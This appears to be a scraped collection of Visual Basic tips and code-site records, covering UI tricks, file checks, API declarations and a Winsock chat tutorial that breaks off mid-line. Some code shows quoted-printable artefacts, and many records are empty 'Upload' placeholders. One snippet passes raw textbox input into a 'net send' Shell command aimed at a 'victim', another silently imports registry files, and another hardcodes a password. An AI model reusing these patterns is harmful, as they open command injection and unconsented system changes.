txtDate_KeyDown(KeyCode As Integer, Shift As Integer)\n '\n ' 107 = \"+\" KeyPad\n ' 109 = \"-\" KeyPad\n ' 187 = \"+\" (Actually this is the \"=\" key, same as \"+\" w/o the=\n shift)\n ' 189 = \"-\"\n ' 33 = PgUp\n ' 34 = PgDn\n '\n Dim strYear As String\n Dim strMonth As String\n Dim strDay As String\n '\n If txtDate.Text = \"\" Then\n txtDate.Text = Format(Now, \"m/d/yyyy\")\n Exit Sub\n End If\n '\n strYear = Format(txtDate.Text, \"yyyy\")\n strMonth = Format(txtDate.Text, \"mm\")\n strDay = Format(txtDate.Text, \"dd\")\n '\n Select Case KeyCode\n Case 107, 187 ' add a day\n txtDate.Text = Format(DateSerial(strYear, strMonth, strDay) +\n1, \"m/d/yyyy\")\n Case 109, 189 ' subtract a day\n txtDate.Text = Format(DateSerial(strYear, strMonth, strDay) -\n1, \"m/d/yyyy\")\n Case 33 ' add a month\n txtDate.Text = Format(DateSerial(strYear, strMonth + 1,\nstrDay), \"m/d/yyyy\")\n Case 34 ' subtract a month\n txtDate.Text = Format(DateSerial(strYear, strMonth - 1,\nstrDay), \"m/d/yyyy\")\n End Select\n '\nEnd Sub\nThe one nasty thing about this is that if you have characters that are not\nthe characters usually in a date (i.e., 1-9, Monday, Tuesday, or /) you get\nerrors in the format command. To overcome this, I set the Locked property\nto True. This way, the user can't actually type a character in the field,\nbut the KeyDown event still fires.\n****************************************************************************\nCreating Win32 region windows:\nThe Win32 API includes a really amazing feature called region windows. A\nwindow under Win32 no longer has to be rectangular! In fact, it can be any\nshape that may be constructed using Win32 region functions. Using the\nSetWindowRgn Win32 function from within VB is so simple, but the results\nare unbelievable! The following example shows a VB form that is NOT\nrectangular!!\nHere is the code. Enjoy!\n ' This goes into the General Declarations section:\nPrivate Declare Function CreateEllipticRgn Lib \"gdi32\" _\n (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, _\n ByVal Y2 As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" _\n (ByVal hWnd As Long, ByVal hRgn As Long, _\n ByVal bRedraw As Boolean) As Long\nPrivate Sub Form_Load()\nShow 'The form!\nSetWindowRgn hWnd, _\n CreateEllipticRgn(0, 0, 300, 200), _\n True\nEnd Sub\n****************************************************************************\nManipulate your controls from the keyboard:\nIf you're not comfortable using your mouse--or can't achieve the precise\nresults you'd like--these tips will come in handy.\nFirst, you can resize controls at design time by using the [Shift] and\narrow keys, as follows:\n SHIFT + RIGHT ARROW increases the width of the control\n SHIFT + LEFT ARROW decreases the width of the control\n SHIFT + DOWN ARROW increases the height of the control\n SHIFT + UP ARROW decreases the height of the control\nNote: The target control must have focus, so click on the control before\nmanipulating it from the keyboard.\nSecond, by using the [Control] key and the arrow keys, you can move your\ncontrols at design time, as follows:\n CONTROL + RIGHT ARROW to move the control to the right\n CONTROL + LEFT ARROW to move the control to the left\n CONTROL + DOWN ARROW to move the control downwards\n CONTROL + UP ARROW to move the control upwards\nIf you select more than one control (by clicking on the first and\nshift-clicking on the others), the above procedures will affect all the\nselected controls.\n****************************************************************************\nSimple file checking from anywhere:\nTo keep my applications running smoothly, I often need to check that\ncertain files exist. So, I've written a simple routine to make sure they\ndo. Here it is:\nPublic Sub VerifyFile(FileName As String)\n '\n On Error Resume Next\n 'Open a specified existing file\n Open FileName For Input As #1\n 'Error handler generates error message with file and exits the routine\n If Err Then\n MsgBox (\"The file \" & FileName & \" cannot be found.\")\n Exit Sub\n End If\n Close #1\n '\nEnd Sub\nNow add a button to your form and place the code below behind the \"Click\"\nevent.\nPrivate Sub cmdVerify_Click()\n '\n Call VerifyFile(\"MyFile.txt\")\n '\nEnd Sub\n****************************************************************************\nDragging items from one list to another:\nHere's a way that you can let users drag items from one list and drop them\nin another one.\nCreate two lists (lstDraggedItems, lstDroppedItems) and a text box\n(txtItem) in a form (frmTip).\nPut the following code in the load event of your form.\nPrivate Sub Form_Load()\n ' Set the visible property of txtItem to false\n txtItem.Visible = False\n 'Add items to list1 (lstDraggedItems)\n lstDraggedItems.AddItem \"Apple\"\n lstDraggedItems.AddItem \"Orange\"\n lstDraggedItems.AddItem \"Grape\"\n lstDraggedItems.AddItem \"Banana\"\n lstDraggedItems.AddItem \"Lemon\"\n '\nEnd Sub\nIn the mouseDown event of the list lstDraggedItems put the following code:\nPrivate Sub lstDraggedItems_MouseDown(Button As Integer, Shift As Integer,\nX As Single, Y As Single)\n '\n txtItem.Text = lstDraggedItems.Text\n txtItem.Top = Y + lstDraggedItems.Top\n txtItem.Left = X + lstDraggedItems.Left\n txtItem.Drag\n '\nEnd Sub\nIn the dragDrop event of the list lstDroppedItems put the following code:\nPrivate Sub lstDroppedItems_DragDrop(Source As Control, X As Single, Y As\nSingle)\n '\n If lstDraggedItems.ItemData(lstDraggedItems.ListIndex) = 9 Then\n Exit Sub\n End If\n ' To make sure that this item will not be selected again\n lstDraggedItems.ItemData(lstDraggedItems.ListIndex) = 9\n lstDroppedItems.AddItem txtItem.Text\n '\nEnd Sub\nNow you can drag items from lstDraggedItems and drop them in=\n LstDroppedItems.\nNote that you cannot drag from the second list to the first. Also, the\ndragged item remains in the first list. You'll have to address those\nlimitations yourself.\n****************************************************************************\nCreating a new context menu in editable controls:\nThis routine will permit you to replace the original context menu with your\nprivate context menu in an editable control.\nAdd the following code to your form or to a BAS module:\nPrivate Const WM_RBUTTONDOWN = &H204\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\"\n(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As\nAny) As Long\nPublic Sub OpenContextMenu(FormName As Form, MenuName As Menu)\n \n 'Tell system we did a right-click on the mdi\n Call SendMessage(FormName.hwnd, WM_RBUTTONDOWN, 0, 0&)\n 'Show my context menu\n FormName.PopupMenu MenuName\n '\nEnd Sub\nNext, use the Visual Basic Menu Editor and the table below to create a\nsimple menu.\nCaption\t\tName\t\tVisible\nContext Menu\tmnuContext\tNO\n...First Item\tmnuContext1\n...Second Item\tmnuContext2\nNote that the last two items in the menu are indented (...) one level and\nthat only the first item in the list (\"Context Menu\") has the Visible\nproperty set to NO.\nNow add a text box to your form and enter the code below in the MouseDown\nevent of the text box.\n \nPrivate Sub Text1_MouseDown(Button As Integer, Shift As Integer, X As\nSingle, Y As Single)\n If Button = vbRightButton Then\n Call OpenContextMenu(Me, Me.mnuContext)\n End If\nEnd Sub\nNote: If you just want to kill the system context menu, just comment out\nthe line:\n FormName.PopupMenu MenuName\nin the OpenContextMenu routine.\n****************************************************************************\nQuick Custom Dialogs for DBGrid Cells:\nIt's easy to add custom input dialogs to al the cells in the Microsoft Data\nBound Grid control.\nFirst, add a DBGrid control and Data control to your form. Next, set the\nDatabaseName and RecordSource properties of the data control to a valid\ndatabase and table (\"biblio.mdb\" and \"Publishers\" for example). Then set\nthe DataSource property of the DBGrid control to Data1 (the data control).\nNow add the following code to your form.\n' general declaration area\nDim strDBGridCell As String\nPrivate Sub DBGrid1_AfterColEdit(ByVal ColIndex As Integer)\n '\n DBGrid1.Columns(ColIndex) = strDBGridCell\n '\nEnd Sub\nPrivate Sub DBGrid1_BeforeColEdit(ByVal ColIndex As Integer, ByVal KeyAscii\nAs Integer, Cancel As Integer)\n '\n strDBGridCell = InputBox(\"Edit DBGrid Cell:\", ,=\n DBGrid1.Columns(ColIndex))\n '\nEnd Sub\nNow whenever you attempt to edit any cell in the DBGrid, you'll see the\nInputBox prompt you for input. You can replace the InputBox with any other\ncustom dialog you wish to build.\n****************************************************************************\nUsing the Alias Option to Prevent API Crashes:\nA number of Windows APIs have parameters that can be more than one data\ntype. For example, the WinHelp API call can accept the last parameter as a\nLong or String data type depending on the service requested.\nVisual Basic allows you to declare this data type as \"Any\" in the API call,\nbut this can lead to type mismatch errors or even system crashes if the\nvalue is not the proper form.\nYou can prevent the errors and improve the run-time type checking by\ndeclaring multiple versions of the same API function in your program. By\nadding a function declaration for each possible parameter type, you can\ncontinue to use strong data type checking.\nTo illustrate this technique, add the following APIs and constants to a\nVisual Basic form. Notice that the two API declarations differ only in\ntheir initial name (\"WinHelp\" and \"WinHelpSearch\") and the type declaration\nof the last parameter (\"dwData as Long\" and \"dwData as String\").\n' WinHelp APIs\nPrivate Declare Function WinHelp Lib \"user32\" Alias \"WinHelpA\" (ByVal hwnd\nAs Long, ByVal lpHelpFile As String, ByVal wCommand As Long, ByVal dwData\nAs Long) As Long\nPrivate Declare Function WinHelpSearch Lib \"user32\" Alias \"WinHelpA\" (ByVal\nhwnd As Long, ByVal lpHelpFile As String, ByVal wCommand As Long, ByVal\ndwData As String) As Long\n'\nPrivate Const HELP_PARTIALKEY = &H105&\nPrivate Const HELP_HELPONHELP = &H4\nPrivate Const HelpFile = \"c:\\program files\\devstudio\\vb5\\help\\vb5.hlp\"\nNow add two command buttons to your form (cmdHelpAbout and cmdHelpSearch)\nand place the following code behind the buttons. Be sure to edit the\nlocation of the help file to match your installation of Visual Basic.\nPrivate Sub cmdHelpAbout_Click()\n '\n WinHelp Me.hwnd, HelpFile, HELP_HELPONHELP, &H0\n '\nEnd Sub\nPrivate Sub cmdHelpSearch_Click()\n '\n WinHelpSearch Me.hwnd, HelpFile, HELP_PARTIALKEY, \"option\"\n '\nEnd Sub\nWhen you press on the HelpAbout button, you'll see help about using the\nhelp system. When you press on the HelpSearch button, you'll see a list of\nhelp entries on the \"option\" topic.\n****************************************************************************\nAdd Dithered Backgrounds to your VB Forms:\nEver wonder how the SETUP.EXE screen gets its cool shaded background\ncoloring? This color shading is called dithering, and you can easily\nincorporate it into your forms. Add the following routine to a form:\n Sub Dither(vForm As Form)\n Dim intLoop As Integer\n vForm.DrawStyle = vbInsideSolid\n vForm.DrawMode = vbCopyPen\n vForm.ScaleMode = vbPixels\n vForm.DrawWidth = 2\n vForm.ScaleHeight = 256\n For intLoop = 0 To 255\n vForm.Line (0, intLoop)-(Screen.Width, intLoop - 1), RGB(0, 0,\n255 -intLoop), B\n Next intLoop\n End Sub\nNow, add to the Form_Activate event the line\n Dither ME\nThis version creates a fading blue background by adjusting the blue value\nin the RGB function. (RGB stands for Red-Green-Blue.) You can create a\nfading red background by changing the RGB call to\n RGB(255 - intLoop, 0, 0).\n****************************************************************************\nUse FreeFile to Prevent File Open Conflicts:\nBoth Access and VB let you hard code the file numbers when using the File\nOpen statement. For example:\n Open \"myfile.txt\" for Append as #1\n Print #1,\"a line of text\"\n Close #1\nThe problem with this method of coding is that you never know which file\nnumbers may be in use somewhere else in your program. If you attempt to use\na file number already occupied, you'll get a file error. To prevent this\nproblem, you should always use the FreeFile function. This function will\nreturn the next available file number for your use. For example:\n IntFile=FreeFile()\n Open \"myfile.txt\" for Append as #intFile\n Print #intFile,\"a line of text\"\n Close #intFile\n****************************************************************************\nConfirm Screen Resolution:\nHere's a great way to stop the user from running your application in the\nwrong screen resolution. First, create a function called CheckRez:\nPublic Function CheckRez(pixelWidth As Long, pixelHeight As Long) As Boolean\n '\n Dim lngTwipsX As Long\n Dim lngTwipsY As Long\n '\n ' convert pixels to twips\n lngTwipsX = pixelWidth * 15\n lngTwipsY = pixelHeight * 15\n '\n ' check against current settings\n If lngTwipsX <> Screen.Width Then\n CheckRez = False\n Else\n If lngTwipsY <> Screen.Height Then\n CheckRez = False\n Else\n CheckRez = True\n End If\n End If\n '\nEnd Function\nNext, run the following code at the start of the program:\n If CheckRez(640, 480) = False Then\n MsgBox \"Incorrect screen size!\"\n Else\n MsgBox \"Screen Resolution Matches!\"\n End If\n****************************************************************************\nQuick Text Select On GotFocus:\nWhen working with data entry controls, the current value in the control\noften needs to be selected when the control received focus. This allows the\nuser to immediately begin typing over any previous value. Here's a quick\nsubroutine to do just that:\nPublic Sub FocusMe(ctlName As Control)\n \n With ctlName\n .SelStart = 0\n .SelLength = Len(ctlName)\n End With\n \nEnd Sub\nNow add a call to this subroutine in the GotFocus event of the input\n controls:\nPrivate Sub txtFocusMe_GotFocus()\n Call FocusMe(txtFocusMe)\nEnd Sub\n****************************************************************************\nUse ParamArray to Accept an Arbitrary Number of Parameters:\nYou can use the ParamArray keyword in the declaration line of a method to\ncreate a subroutine or function that accepts an arbitrary number of\nparameters at runtime. For example, you can create a method that will fill\na list box with some number of items even if you do not know the number of\nitems you will be sent. Add the method below to a form:\nPublic Sub FillList(ListControl As ListBox, ParamArray Items())\n '\n Dim i As Variant\n '\n With ListControl\n .Clear\n For Each i In Items\n .AddItem i\n Next\n End With\n '\nEnd Sub\nNote that the ParamArray keyword comes BEFORE the parameter in the\ndeclaration line. Now add a list box to your form and a command button. Add\nthe code below in the \"Click\" event of the command button.\nPrivate Sub Command1_Click()\n '\n FillList List1, \"TiffanyT\", \"MikeS\", \"RochesterNY\"\n '\nEnd Sub\n\t\n****************************************************************************\n \nUse FileDSNs to ease ODBC Installs:\nIf you're using an ODBC connection to your database, you can ease the\nprocess of installing the application on workstations by using the FileDSN\n(data source name) instead of the more-common UserDSN. You define your ODBC\nconnection as you normally would with UserDSNs. However, the resulting\ndefinition is not stored in the workstation registry. Instead it gets\nstored in a text file with the name of the DSN followed by \".dsn\" (i.e.\n\"MyFileDSN.dsn\"). The default folder for all FileDSNs is \"c:\\program\nfiles\\common files\\Odbc\\data sources\". Now, when you want to install the VB\napplication that uses the FileDSN, all you need to do is add the FileDSN to\nthe Install package and run the install as usual. No more setting up DSNs\nmanually!\nNOTE: FileDSNs are available with ODBC 3.0 and higher.\n****************************************************************************\nOpening a browser to your homepage\nYou can use code like the following to open a browser to your homepage.\nModify filenames, paths, and URLs as necessary to match the values on your\nsystem.\nDim FileName As String, Dummy As String\nDim BrowserExec As String * 255\nDim RetVal As Long\nDim FileNumber As Integer\nConst SW_SHOWNORMAL =3D 1 ' Restores Window if Minimized or\nDeclare Function ShellExecute Lib \"shell32.dll\" Alias \"ShellExecuteA\" _\n(ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _\nByVal lpParameters As String, ByVal lpDirectory As String, _\nByVal nShowCmd As Long) As Long\nDeclare Function FindExecutable Lib \"shell32.dll\" Alias \"FindExecutableA\" _\n(ByVal lpFile As String, ByVal lpDirectory As String, ByVal lpResult As _\nString) As Long\n'<Code> ---------\nBrowserExec =3D Space(255)\nFileName =3D \"C:\\temphtm.HTM\"\nFileNumber =3D FreeFile() ' Get unused file number\nOpen FileName For Output As #FileNumber ' Create temp HTML file\n Write #FileNumber, \"<HTML> <\\HTML>\" ' Output text\nClose #FileNumber ' Close file\n' Then find the application associated with it.\n RetVal =3D FindExecutable(FileName, Dummy, BrowserExec)\n BrowserExec =3D Trim$(BrowserExec)\n ' If an application is found, launch it!\n If RetVal <=3D 32 Or IsEmpty(BrowserExec) Then ' Error\n Msgbox \"Could not find a browser\"\n Else\n RetVal =3D ShellExecute(frmMain.hwnd, \"open\", BrowserExec, _\n \"www.myurl.com\", Dummy, SW_SHOWNORMAL)\n If RetVal <=3D 32 Then ' Error\n Msgbox \"Web Page not Opened\"\n End If\n End If\nKill FileName ' delete temp HTML file\n****************************************************************************\nCreating a incrementing number box\nYou can't increment a vertical scroll bar's value--a fact that can become\nannoying. For example, start a new project and place a text box and a\nvertical scroll bar on the form. Place the vertical scroll bar to the right\nof the text box and assign their Height and Top properties the same values.\nAssign the vertical scroll bar a Min property value of 1 and a Max value of\n10. Place the following code in the vertical scroll bar's Change event:\nText1.Text = VScroll1.Value\nNow press [F5] to run the project. Notice that if you click on the bottom\narrow of the vertical scroll bar, the value increases; if you click on the\ntop arrow, the value decreases. From my perspective, it should be the other\nway around.\nTo correct this, change the values of the Max and Min properties to\nnegative values. For example, end the program and return to the design\nenvironment. Change the vertical scroll bar's Max value to -1 and its Min\nvalue to -10. In its Change event, replace the line you entered earlier\nwith the following:\nText1.Text = Abs(Vscroll1.Value)\nNow press [F5] to run the project. When you click on the top arrow of the\nvertical scroll bar, the value now increases. Adjust the Height properties\nof the text box and the scroll bar so you can't see the position indicator,\nand your number box is ready to go.\n****************************************************************************\nMeasuring a text extent:\nIt's very simple to determine the extent of a string in VB. You can do so\nwith WinAPI functions, but there's an easier way: Use the AutoSize property\nof a Label component. First, insert a label on a form (labMeasure) and set\nits AutoSize property to True and Visible property to False. Then write\nthis simple routine:\nPrivate Function TextExtent(txt as String) as Integer\n labMeasure.Caption = txt\n TextExtent = labMeasure.Width\nEnd Function\nWhen you want to find out the extent of some text, simply call this\nfunction with the string as a parameter.\nIn my case it turned out that the measure was too short. I just added some\nblanks to the string. For example:\nPrivate Function TextExtent(txt As String) As Integer\n labMeasure.Caption = \" \" & txt\n TextExtent = labMeasure.Width\nEnd Function\n****************************************************************************\nImporting Registry settings\nYou can use just a few lines of code to import Registry settings. If you\nhave an application called myapp.exe and a Registry file called myapp.reg,\nthe following code will put those settings into the Registry without\nbothering the user.\nDim strFile As String\nstrFile =3D App.Path & \"\\\" & opts.AppExeName & \".reg\"\nIf Len(Dir$(strFile)) > 1 Then\n lngRet =3D Shell(\"Regedit.exe /s \" & strFile, vbNormalFocus)\nEnd If\n****************************************************************************\nLabeling your forms:\nDo you have a ton of screens in your application? Do you also have plenty\nof users who want to \"help you\" by pointing out buttons that are one twip\nout of place? Sometimes it's hard to know what screen users are talking\nabout when they're trying to communicate a problem--particularly if they're\nin a different location than you.\nTo reduce the pain of this process, I add a label (called lblHeader) to the\ntop of each GUI window, nominally to hold start-up information for users\nwhen they first open the window. You can also use this label to hold the\nname of the window the user is looking at, by using the following code:\nPrivate Sub Form_Load()\n SetupScreen me\nEnd Sub\nPublic SetupScreen (frm as Form)\n ' Do other set-up stuff here (fonts, colors).\n HookInFormName frm\nEnd Sub\nPublic Sub HookInFormName(frm As Form)\n ' The Resume Next on Error allows forms that do not use a standard\n ' header label to get past this.\n On Error Resume Next\n frm.lblHeader.Caption = \"(\" & frm.Name & \") \" & frm.lblHeader.Caption\nEnd Sub\nNote that if you don't want to use a label, that you can also use code like\n frm.print frm.name\nto print to the back of the window itself.\n****************************************************************************\n"},{"WorldId":1,"id":45015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45023,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45031,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45048,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48261,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48265,"LineNumber":1,"line":"Public Sub UpdateProgress(pic As PictureBox, ByVal Percent As Single, Optional ByVal Flat As Boolean = False)\n With pic\n 'Configure PictureBox\n .AutoRedraw = True\n .Appearance = Flat + 1\n .ScaleWidth = 100\n .ForeColor = vbHighlight\n .BackColor = vbButtonFace\n .DrawMode = vbNotXorPen\n \n 'Clear the PictureBox\n .Cls\n \n 'Draw the text\n .CurrentX = (.ScaleWidth - .TextWidth(Int(Percent) & \"%\")) \\ 2\n .CurrentY = (.ScaleHeight - .TextHeight(Int(Percent) & \"%\")) \\ 2\n pic.Print Int(Percent) & \"%\"\n \n 'Draw the progress\n pic.Line (0, 0)-(Percent, .ScaleHeight), , BF\n End With\nEnd Sub"},{"WorldId":1,"id":48268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48270,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48306,"LineNumber":1,"line":"<h1>Word Prediction and Completion with Ctrl+Space</h1>\nThere are times when you have to write the same things over and over when coding. This is not really necessary. \nOne work around is to use copy and paste to paste the variable or function name instead of typing it. But what happens when you have many variables and functions to type repeatedly (which is most often the case)? \nThere is a faster method than copying and pasting each variable or function name when needed. Ctrl+Space is the answer. It pops up a list of the variables and functions that exist in your code module (plus more stuff supported by VB at any time such as sting functions, etc) similar to the list popping up when declaring variables after typing the keyword As. \nSo just before you start typing, press Ctrl+Space and the list will pop up. Type the first few letters of the variable (or function) and it will automatically be selected in the list. You then press space and VB completes it for you. \nAnother use of it is to type the first few letters of your variable (or function). Then if there are no other variables (or functions) that start with these letters (or this letter) pressing Ctrl+Space will auto-complete it without even popping up the list!!! \nThis reduces the time you have to spend over the keyboard to a minimum of one keystroke and one combination of Ctrl+Space to type each variable or function. \nNow that you know that, you can spend less time coding the software and more time making it perfect. \nHappy Programming :)"},{"WorldId":1,"id":48307,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48309,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48320,"LineNumber":1,"line":"'You need 2 text boxes(Text1, username or IP of the victim(receiver))(Text2, message to send) and a command button(command1)\n'In command1 put: \nshell \"net send \" & text1.text & \" \" & text2.text\n'Simple wasn't it. :)"},{"WorldId":1,"id":48330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48332,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48349,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48365,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48382,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim Password As String\n Dim InputPassword As String\n Dim Attempt As Integer\n Password = \"Secret\"\n Attempt = 0\n Do\n InputPassword = InputBox(\"Enter password. This is attempt number \" & Attempt & \".\")\n Attempt = Attempt + 1\n Loop Until (Attempt = 3) Or (InputPassword = Password)\n If InputPassword = Password Then\n MsgBox (\"This password is valid!\")\n Else\n MsgBox (\"This password is invalid!\")\n End If\nEnd Sub"},{"WorldId":1,"id":48385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48392,"LineNumber":1,"line":"Private Sub Form_Load()\n hsbRed.Value = 255\n hsbGreen.Value = 255\n hsbBlue.Value = 255\nEnd Sub\nPrivate Sub hsbBlue_Change()\n Form1.BackColor = RGB(hsbRed.Value, hsbGreen.Value, hsbBlue.Value)\n txtBlue.Text = hsbBlue.Value\nEnd Sub\nPrivate Sub hsbGreen_Change()\n Form1.BackColor = RGB(hsbRed.Value, hsbGreen.Value, hsbBlue.Value)\n txtGreen.Text = hsbGreen.Value\nEnd Sub\nPrivate Sub hsbRed_Change()\n Form1.BackColor = RGB(hsbRed.Value, hsbGreen.Value, hsbBlue.Value)\n txtRed.Text = hsbRed.Value\nEnd Sub\nPrivate Sub txtBlue_Change()\n hsbBlue.Value = txtBlue.Text\nEnd Sub\nPrivate Sub txtGreen_Change()\n hsbGreen.Value = txtGreen.Text\nEnd Sub\nPrivate Sub txtRed_Change()\n hsbRed.Value = txtRed.Text\nEnd Sub"},{"WorldId":1,"id":48394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48407,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48417,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48418,"LineNumber":1,"line":"<html>\n<head>\n<title></title>\n<bgsound src=\"FLOURISH.mid\" loop=\"-1\">\n</head>\n<table border=\"1\" width=\"100%\" bgcolor=\"#66CCFF\">\n<tr>\n<td></td>\n</tr>\n</table>\nHello Everybody, This Winsock Tutorial is\nfor anyone who has not heard of winsock or have never programmed\nwith winsock control. First of all I would like to tell you that\nthere are two type of protocols in winsock control through which\nwe can have a successful connection. They are TCP and UDP But\nhere we will only discuss TCP. UDP is also Great But generally\nTCP Protocol is Used. Now Lets Start....\nDesigning\nPart:-\nFirst of all add winscok control to a\nStandard exe project named 'Client'. Now Place that Winsock\nControl on the form. It is invisible at runtime so its location\nis not important. Place Two Text-Boxes named txtIP and txtSend\nalso place Command Buttons named cmdConnect and cmdSend on this\nForm and in Last Place a List-Box control names 'lstMessages' on\nthe Form. Set Text-Boxes' Text property to \"\" and cmdConnect and\ncmdSend's Caption Property to \"Connect\" and \"OK\" respectively.\nRename our Form to 'frmClient'. Set cmdSend's Default Property to\nTrue. We will let the Default name for the Winsock Control as\nthis is the Winsock Tutorial.\nOpen another Standard exe project in another\nwindow. All the Controls would be same as Client Project except\ntxtIP and cmdConnect they both are not needed here. Name this\nProject as 'Server' and its Form as 'frmServer'.\nNow the Coding Part\nfor the Client Project. Write the Following Code into Code\nWindow:-\nPrivate Declare\nFunction SendMessage Lib\n\"user32\" Alias \"SendMessageA\" (ByVal\nhwnd As Long, ByVal wMsg As Long,\nByVal wParam As Long, lParam As\nAny) As\nLong\nPrivate Declare\nFunction ReleaseCapture Lib\n\"user32\" () As Long\nPrivate Sub\ncmdConnect_Click()\nOn Error Resume\nNext\nWinsock1.Connect txtIP.Text, \"1412\" 'Just remember this Port Number Should be Same on which\nour Server is Listening\nEnd Sub\nPrivate Sub\ncmdSend_Click()\nOn Error Resume\nNext\nWinsock1.SendData \"Client:- \" & txtSend.Text\nlstMessages.AddItem \"Client:- \" &\ntxtSend.Text\ntxtSend.Text = \"\"\ntxtSend.SetFocus\nEnd Sub\nPrivate Sub\nForm_MouseDown(Button As Integer,\nShift As Integer, X As Single, Y As\nSingle)\n'For making the Form\nMovable\nReleaseCapture\nSendMessage Me.hwnd, &HA1, 2, 0&\nEnd Sub\nPrivate Sub\nLabel1_Click()\nOn Error Resume\nNext\n'Letting server know that\nclient has Disconnected.\nWinsock1.SendData \"Client is Disconnected!\"\nDoEvents\nUnload Me\nEnd Sub\nPrivate Sub\nWinsock1_DataArrival(ByVal\nbytesTotal As Long)\nOn Error Resume\nNext\nDim str As String\nWinsock1.GetData str\nlstMessages.AddItem str\nEnd Sub\nAnd The Following Code\ninto The Server project. It is Much Same as The Client Part\nExcept that we have to Set Winsock Control to listen on specific\nPort on the Form's Load Event.\nPrivate Declare\nFunction SendMessage Lib\n\"user32\" Alias \"SendMessageA\" (ByVal\nhwnd As Long, ByVal wMsg As Long,\nByVal wParam As Long, lParam As\nAny) As\nLong\nPrivate Declare\nFunction ReleaseCapture Lib\n\"user32\" () As Long\nPrivate Sub\ncmdSend_Click()\nOn Error Resume\nNext\n'This data will be sent to\nthe Client\nWinsock1.SendData \"Server:- \" & txtSend.Text\nlstMessages.AddItem \"Server:- \" &\ntxtSend.Text\ntxtSend.Text = \"\"\ntxtSend.SetFocus\nEnd Sub\nPrivate Sub\nForm_Load()\nOn Error Resume\nNext\n'If one Copy of Our\nApplication is already running then don't load a new\none\nIf Not\nApp.PrevInstance = True Then\nWinsock1.LocalPort = 1412 'This can be any Valid\nPort Number\n'Wait for Clients to\nConnect with Your Server.\nWinsock1.Listen\nEnd If\nEnd Sub\nPrivate Sub Form_MouseDown(Button\nAs Integer, Shift As Integer, X As\nSingle, Y As Single) \n'for making a form\nMovable\nReleaseCapture\nSendMessage Me.hwnd, &HA1, 2, 0&\nEnd Sub\nPrivate Sub\nLabel1_Click()\nOn Error Resume\nNext\n'So that it will not raise\nan error after sending the data to the server which is already\ndisconnected\nWinsock1.SendData \"Server is Disconnected!\"\n'Here DoEvents gives time\nto perform the winsock operation before unloading it from\nmemory\nDoEvents\n'Now Unload it\nUnload Me\nEnd Sub\nPrivate Sub\nWinsock1_ConnectionRequest(ByVal\nrequestID As Long)\nOn Error Resume\nNext\n'First Check if the Winsock\nControl is Connected or not If connected then Close it\nIf Winsock1.State\n<> sckClosed Then\nWinsock1.Close\n'Now accept the\nRequest\nWinsock1.Accept requestID\nEnd Sub\nPrivate 